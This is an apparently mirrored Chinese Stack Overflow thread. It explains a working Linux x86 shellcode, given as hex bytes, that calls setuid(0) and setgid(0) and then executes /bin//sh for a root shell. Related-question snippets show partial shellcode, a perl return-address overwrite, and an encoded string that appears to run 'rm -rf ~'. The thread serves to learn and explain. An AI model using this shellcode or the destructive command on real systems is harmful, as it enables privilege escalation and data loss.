个人中心
文章发布
退出
作者热门文章
- html - 出于某种原因，IE8 对我的 Sass 文件中继承的 html5 CSS 不友好？
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景？
28
4
我正在使用缓冲区溢出调用 shellcode 来生成根 shell。有人能解释一下这个 shellcode 到底做了什么吗？我尝试过不同的 shellcode 来生成根 shell，但这是唯一对我有用的。
\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb
\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd
\x80
最佳答案
乍一看，代码似乎先执行 setuid(0)，然后执行 setgid(0)，然后调用 sys_execve()一些值(其中包括 "/bin//sh" 的 ASCII 代码)。
看起来这是纯粹的“有效负载”代码，因为我没有看到任何可以确保代码首先执行的内容(缓冲区溢出、堆栈粉碎等)。
(感谢@Hans Lub 提供反汇编器链接)
关于c - 解释 shellcode，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/27171369/
28
4
0
我目前正在编写一个 shellcode，该代码利用使用 puts 函数的目标程序。该程序如下所示: #include main() { char buf[123]; puts(get
我是 StackOverflow 的新手。最近，我开始学习汇编，对汇编相当陌生，对 shellcode 完全陌生。我正在使用 RadAsm 使用 MASM 汇编器进行编译，并尝试从该网站 Shellc
我在 32 位 Linux 系统上，正在为 TCP 绑定(bind)编写 Linux/x86 shellcode。基于 Linux 手册页如下: ;;; Will be using socketcal
我使用linux并且我有c程序，我想更改返回地址以指向我的shellcode，但我无法做到这一点。 这是我的 shellcode "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x
我正在尝试编写一些最终将采用英文段落形式的 shellcode。这意味着我主要限于具有计算为字母数字字符或标点符号的操作码的指令。这实际上给我留下了许多不同的跳转指令，包括:jo , jno , jb
我用 nasm (x64) 编写了一个程序，它应该执行 /bin/bash ，而且效果很好。然后我用 objdump -D 运行程序我写下了这样的机器代码:\xbb\x68\x53\x48\xbb\x
我是 shellcode 开发的新手，我不明白为什么生成的 shellcode 不能按预期工作。 汇编代码: 基于 an answer我之前的问题。 .section .data cmd: .s
我认为 shellcode 中不允许空字节。在理解一些 shellcode 时，我似乎遇到了一些包含 null 的代码并且运行完美，这是为什么？ http://pastie.org/private/f
我正在尝试在 32 位上执行系统调用，但有一个问题。 我最初有一个裸函数作为我的 stub 并使用内联汇编，但是当我尝试将它转换为 shellcode 时，尽管它是裸函数的一对一拷贝(在 Visual
我正在尝试将我编写的汇编程序转换为无空值的 shellcode。 但是，对于某些说明，我不确定如何执行此操作。 其中一些(采用英特尔语法)包括: push 0x1000 和 mov BYTE [eax
我有一个用 c 编写的以下程序: char code[] = "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20" "\x2F\x2A\x20\x32\x3e\x20\x2f\
关闭。这个问题需要多问focused 。目前不接受答案。 想要改进此问题吗？更新问题，使其仅关注一个问题 editing this post . 已关闭 8 年前。 Improve this ques
我尝试通过尝试将 BYTE(无符号字符)直接传递到函数而不先定义它来对 BYTE(无符号字符)执行 XOR 加密。 异或函数: void xor(BYTE input[], BYTE output[]
为什么我的 shellcode (int3) 不会被信号处理程序命中？ 除了不喜欢在处理程序中使用 printf() 之外，我还关心如何传递 shellcode(不是内联汇编器)在信号处理程序中，在运
我有以下运行 shellcode 的工作正常: unsigned char original[] = "\xd9\xee\xd9\x74\x24\xf4\x58\xbb
这是一项实验室作业，要求我们利用这个程序。第一个任务是调用 notused 函数(可以通过将返回地址更改为 notused 函数来解决:perl -e 'printf "A"x112 . "\xadd
我尝试制作一个程序，在其中放入一些十六进制组装的程序集并运行它。使用像 int3 这样的简单指令它可以工作，但是当我尝试使用系统调用退出程序时它不起作用。我用rasm2组装它 mov eax, 1 m
我尝试通过 C 程序运行大量 shell 代码来测试它们。在这里 #include #include unsigned char code[] = "shell here"; main() { pri
嘿，我使用了一些你们大多数人都熟悉的代码。它基本上采用一个字符数组并将其转换为函数指针。有了这段代码，理论上你可以用它测试任何 shellcode 的功能，如果它表现得好的话，这对我的工作来说将是一个
我想在 32 位 Linux 上为内核模式编写 shellcode，以实现以下目的: commit_creds (prepare_kernel_cred(0)); 所以我创建一个文件: xor eax
我是一名优秀的程序员,十分优秀！